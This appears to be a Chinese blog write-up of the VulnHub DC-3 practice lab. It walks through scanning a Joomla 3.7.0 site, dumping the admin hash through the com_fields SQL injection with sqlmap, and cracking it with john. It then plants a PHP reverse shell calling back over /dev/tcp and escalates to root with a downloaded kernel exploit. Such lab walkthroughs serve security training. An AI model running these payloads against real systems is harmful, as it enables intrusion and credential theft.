DC-3靶场

DC-3

DC-3靶场链接:https://download.vulnhub.com/dc/DC-3-2.zip

下载后解压会有一个DC-3.ova文件,直接在vm虚拟机点击左上角打开-->文件--.选中这个.ova文件就能创建靶场,kali和靶机都调整至NAT模式

首先进行主机发现:

arp-scan -l

扫出靶机ip是192.168.183.146

Nmap扫描

nmap -A -p- 192.168.183.146

发现这台机只开了80端口,访问80端口发现一个登录的,常规的burpsuite抓包爆破找到密码snoopy,但是成功登录也没什么变化

用dirsearch扫目录:

dirsearch -u 192.168.183.146 -e * -i 200

 

打开http://192.168.183.146/administrator/ 在这个登录框输入账号:admin,密码:snoopy即可登录到后台

另一种登录后台的方法:

回到nmap

Starting Nmap 7.93 ( https://nmap.org ) at 2023-12-14 15:58 CST

Nmap scan report for 192.168.183.146

Host is up (0.00022s latency).

Not shown: 65534 closed tcp ports (conn-refused)

PORT   STATE SERVICE VERSION

80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))

|_http-generator: Joomla! - Open Source Content Management

|_http-title: Home

|_http-server-header: Apache/2.4.18 (Ubuntu)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 8.76 seconds

注意到这是Joomla的cms,针对joomala可以使用joomscan

joomscan是一款开源的且针对joomla的扫描器,kali可以用命令apt install joomscan安装该工具,利用joomscan进行joomla信息探测

joomscan -u 192.168.20.140

得到这是Joomla 3.7.0版本,可以使用searchsploit搜索这个版本joomla的漏洞

searchsploit Joomla 3.7.0

searchsploit是一款kali自带的搜索漏洞信息的模块

参数参考:

   -c, --case     [Term]      区分大小写(默认不区分大小写)

   -e, --exact    [Term]      对exploit标题进行EXACT匹配 (默认为 AND) [Implies "-t"].

   -h, --help                 显示帮助

   -j, --json     [Term]      以JSON格式显示结果

   -m, --mirror   [EDB-ID]    把一个exp拷贝到当前工作目录,参数后加目标id

   -o, --overflow [Term]      Exploit标题被允许溢出其列

   -p, --path     [EDB-ID]    显示漏洞利用的完整路径(如果可能,还将路径复制到剪贴板),后面跟漏洞ID号

   -t, --title    [Term]      仅仅搜索漏洞标题(默认是标题和文件的路径)

   -u, --update               检查并安装任何exploitdb软件包更新(deb或git)

   -w, --www      [Term]      显示Exploit-DB.com的URL而不是本地路径(在线搜索)

   -x, --examine  [EDB-ID]    使用$ PAGER检查(副本)Exp

       --colour               搜索结果不高亮显示关键词

       --id                   显示EDB-ID

       --nmap     [file.xml]  使用服务版本检查Nmap XML输出中的所有结果(例如:nmap -sV -oX file.xml)

                                使用“-v”(详细)来尝试更多的组合

       --exclude="term"       从结果中删除值。通过使用“|”分隔多个值

                              例如--exclude=“term1 | term2 | term3”

从结果来看,我们发现joomla 3.7.0有一个sql漏洞

┌──(root㉿kali)-[/home/kali]

└─# searchsploit joomla 3.7.0

------------------------------------------------- ---------------------------------

 Exploit Title                                   |  Path

------------------------------------------------- ---------------------------------

Joomla! 3.7.0 - 'com_fields' SQL Injection       | php/webapps/42033.txt

Joomla! Component Easydiscuss < 4.0.21 - Cross-S | php/webapps/43488.txt

------------------------------------------------- ---------------------------------

Shellcodes: No Results

把相关漏洞信息复制到桌面:

touch /home/kali/桌面/42033.txt

cp /usr/share/exploitdb/exploits/php/webapps/42033.txt /home/kali/桌面/42033.txt

在桌面的42033.txt里给出了sqlmap的payload:

sqlmap -u "http://192.168.183.146/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] --batch --dbs

sqlmap出了数据库:

available databases [5]:

[*] information_schema

[*] joomladb

[*] mysql

[*] performance_schema

[*] sys

接下来依次破解表名、字段名即可,这里放上最后payload:

sqlmap -u "http://192.168.183.146/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] -D joomladb -T '#__users' -C username,password --dump

得到了admin账号及其被加密过的密码:

Table: #__users

[1 entry]

+----------+--------------------------------------------------------------+

| username | password                                                     |

+----------+--------------------------------------------------------------+

| admin    | $2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu |

+----------+--------------------------------------------------------------+

这里我们可以尝试用join对这串密文进行爆破

john 是一款大受欢迎的、免费的开源软件、基于字典的密码破解工具。用于在已知密文的情况下尝试破解出明文的破解密码软件,支持目前大多数的加密算法,如 DES 、 MD4 、 MD5 等。 John 支持字典破解方式和暴力破解方式。它支持多种不同类型的系统架构,包括 Unix 、 Linux 、 Windows 、 DOS 模式、 BeOS 和 OpenVMS ,主要目的是破解不够牢固的 Unix/Linux 系统密码。

在kali上安装join

apt install john

在桌面创一个放密码的文件:

touch /home/kali/桌面/pass.txt

把刚刚被加密的密码写入进去:

vi /home/kali/桌面/pass.txt

打开后按i进入插入模式,复制完后按ESC后输入“:wq”保存退出

开始使用join工具破解:

john /home/kali/桌面/pass.txt

得到密码是snoopy

反弹shell:

进入后台后点击左边栏上的Templates,然后在点一次左边的Templates,点击beez3,进入到一个文件上传页面,随机挑选一个文件把别的内容注释了然后写入:

<?php system("bash -c 'bash -i >& /dev/tcp/192.168.183.138/666 0>&1' ");?>

Ip改成自己kali的ip,点击保存,在kali那边打开监听:

nc -lvvp 666

然后物理机访问网页http://192.168.183.146/templates/beez3/刚刚写入反弹命令的文件名

回到kali,看见反弹成功,利用python获取交互式shell:

python -c 'import pty;pty.spawn("/bin/bash")'

Whoami后发现不是root权限,需要提权

提权:

信息收集:

进行一些信息收集,以下是linux系统信息收集:

cat /etc/issue         #查看系统名称

cat /proc/version      #查看当前运行的 Linux 内核版本信息

cat /etc/Lsb-release   #查看系统名称,版本号

cat /etc/*release      #查看linux发行信息

uname -an              #查看内核版本

cat /proc/cpuinfo      #查看cpu信息

dpkg -l | grep linux-image  #已安装的补丁信息

得知这是Ubuntu 16.04系统,继续使用searchsploit查看版本漏洞:

──(kali㉿kali)-[~]

└─$ searchsploit Ubuntu 16.04

--------------------- ---------------------------------

 Exploit Title       |  Path

--------------------- ---------------------------------

Apport 2.x (Ubuntu D | linux/local/40937.txt

Exim 4 (Debian 8 / U | linux/local/40054.c

Google Chrome (Fedor | linux/local/40943.txt

LightDM (Ubuntu 16.0 | linux/local/41923.txt

Linux Kernel (Debian | linux_x86-64/local/42275.c

Linux Kernel (Debian | linux_x86/local/42276.c

Linux Kernel (Ubuntu | linux/dos/39773.txt

Linux Kernel 4.14.7  | linux/local/45175.c

Linux Kernel 4.4 (Ub | linux/dos/46529.c

Linux Kernel 4.4 (Ub | linux/local/40759.rb

Linux Kernel 4.4.0 ( | linux_x86-64/local/40871.c

Linux Kernel 4.4.0-2 | linux_x86-64/local/40049.c

Linux Kernel 4.4.0-2 | windows_x86-64/local/47170.c

Linux Kernel 4.4.x ( | linux/local/39772.txt

Linux Kernel 4.6.2 ( | linux/local/40489.txt

Linux Kernel 4.8 (Ub | linux/dos/45919.c

Linux Kernel < 4.13. | linux/local/45010.c

Linux Kernel < 4.4.0 | linux/local/43418.c

Linux Kernel < 4.4.0 | linux/local/44298.c

Linux Kernel < 4.4.0 | linux/local/47169.c

Linux Kernel < 4.4.0 | linux_x86-64/local/44300.c

--------------------- ---------------------------------

Shellcodes: No Results

然后查看39772.txt的路径 

┌──(kali㉿kali)-[~]

└─$ searchsploit -p 39772.txt

  Exploit: Linux Kernel 4.4.x (Ubuntu 16.04) - 'double-fdput()' bpf(BPF_PROG_LOAD) Privilege Escalation

      URL: https://www.exploit-db.com/exploits/39772

     Path: /usr/share/exploitdb/exploits/linux/local/39772.txt

    Codes: CVE-2016-4557, 823603

把该路径复制到桌面:

cp /usr/share/exploitdb/exploits/linux/local/39772.txt /home/kali/桌面/39772.txt

打开桌面上的39772.txt文件,最后一行附上了exp链接

物理机访问网址,下载exp解压后是一个叫39772的文件,把文件拖进虚拟机桌面上

用python开启http服务:

python -m http.server 8080

浏览器访问:

http://192.168.183.138:8080/%E6%A1%8C%E9%9D%A2/39772/

其实就是在网页找到这个exp文件,然后复制exploit.tar的链接,回到虚拟终端用wget下载这个链接

wget http://192.168.183.138:8080/%E6%A1%8C%E9%9D%A2/39772/exploit.tar

出现了以下情况就是成功了

exploit.tar         100%[===================>]  20.00K  --.-KB/s    

然后解压:

tar -xvf exploit.tar

在39772.txt里有教怎么使用exp(蓝色部分):

先输入

./compile.sh

后输入:

./doubleput

再次whoami,就能发现提权到了root,flag就在/root下

  • 3
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值